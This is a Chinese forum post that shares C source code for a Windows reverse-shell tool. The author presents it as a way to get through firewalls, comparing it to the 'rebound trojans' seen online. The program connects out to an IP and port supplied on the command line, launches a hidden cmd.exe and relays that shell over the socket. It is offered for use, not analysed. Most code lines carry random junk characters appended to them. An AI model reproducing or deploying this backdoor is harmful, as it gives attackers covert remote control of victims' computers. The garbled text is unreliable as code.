社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 5875阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 #{ Uk4  
QdW%5lM+  
/* ============================== \v-> '  
Rebound port in Windows NT ;:$Na=  
By wind,2006/7 acGmRP9g  
===============================*/ #sqDZ]\B  
#include m/6oQ  
#include ^~`8 - TE  
([9h.M6v  
#pragma comment(lib,"wsock32.lib") ryn)  
VJR'B={h  
void OutputShell(); W>DpDrO4ml  
SOCKET sClient; Bgs~1E@8V  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; h;ShNU  
HK[sHB&  
void main(int argc,char **argv) #!`zU4&2  
{ "]NQTUb;  
WSADATA stWsaData; J<`RlDI  
int nRet; g3Xz-  
SOCKADDR_IN stSaiClient,stSaiServer; dIpt&nH&$  
I8Zp#'|U  
if(argc != 3) nL:vRJr-$  
{ D{l.WlA.  
printf("Useage:\n\rRebound DestIP DestPort\n"); PZ ogN  
return; 5r+0^UAO:J  
} #63/;o:l$  
pz$$K?  
WSAStartup(MAKEWORD(2,2),&stWsaData); .e"jnP~  
@Op8^8$`  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); -y\N9  
G1nW{vce  
stSaiClient.sin_family = AF_INET; T*{zL  
stSaiClient.sin_port = htons(0); &iGl)dDr  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY);  CMg83  
"yz\p,  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) V!opnLatYS  
{ G/8xS=  
printf("Bind Socket Failed!\n"); ZK ?x_`w  
return; #P4dx'vm  
} 7O9s 5  
g~y9j88?  
stSaiServer.sin_family = AF_INET; $3[cBX.=  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); !:n),sFv45  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); '0O[d N  
C5WCRg5&  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) __V]HcP;  
{ TcP1"wc  
printf("Connect Error!"); _5K_YhT  
return; /SUV'J)  
} ~c="<xBE  
OutputShell(); b "Mq7&cf  
} ~`})x(!  
wrO>#`Z  
void OutputShell() !Q(xOc9>Ug  
{ _$'Mx'IC=  
char szBuff[1024]; 9V],X=y~  
SECURITY_ATTRIBUTES stSecurityAttributes; 9kF#*  
OSVERSIONINFO stOsversionInfo; YT5>pM-%  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 38m%ifh)  
STARTUPINFO stStartupInfo; \i,cL)HM  
char *szShell; Gtg)%`  
PROCESS_INFORMATION stProcessInformation; ).]m@g:ew  
unsigned long lBytesRead; gZjOlp  
r$#G%FMv  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); |tg?b&QR  
ILi5WuOYX  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); `Q&] dE=  
stSecurityAttributes.lpSecurityDescriptor = 0; E~>6*_?  
stSecurityAttributes.bInheritHandle = TRUE; ,OKM\N ,  
ya{>=  
nFfCw%T?  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); |%}s$*s  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); *!'&:  
VU/W~gb4"A  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Ib2@Wi   
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $&8h=e~]-  
stStartupInfo.wShowWindow = SW_HIDE; mei_aN7zW  
stStartupInfo.hStdInput = hReadPipe; .UrYF 0  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; U  R@BSK'  
vs1Sh?O  
GetVersionEx(&stOsversionInfo); mbBRuPEa=u  
|mk}@OEf  
switch(stOsversionInfo.dwPlatformId) i$ L]X[  
{ j#e.rNG  
case 1: {% _j~  
szShell = "command.com"; B Z?W>'B%$  
break; , Ln   
default: b.4Xn0-M  
szShell = "cmd.exe"; y<`?@(0$  
break; VK'T[5e  
} nuQ6X5>.=  
&ZE\@Vc  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); {TncqA  
v{2DBr  
send(sClient,szMsg,77,0); +V9B  
while(1) *9vA+uN  
{ ?Y{^un  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); b!]0mXU  
if(lBytesRead) % kx ^/DH  
{ g?~Tguv  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 5)yOw|Bd  
send(sClient,szBuff,lBytesRead,0); Ao":9r[V  
} yvz?4m"_yB  
else -2& i)S0R  
{ ^$IZLM?E~  
lBytesRead=recv(sClient,szBuff,1024,0); HRV*x!|I  
if(lBytesRead<=0) break; /u)Rppu  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); sc8DY!|OYN  
} Q0cY/'>4  
} _Dj<Eu_  
`4%;qLxngP  
return; u<]mv  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
批量上传需要先选择文件,再选择上传
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八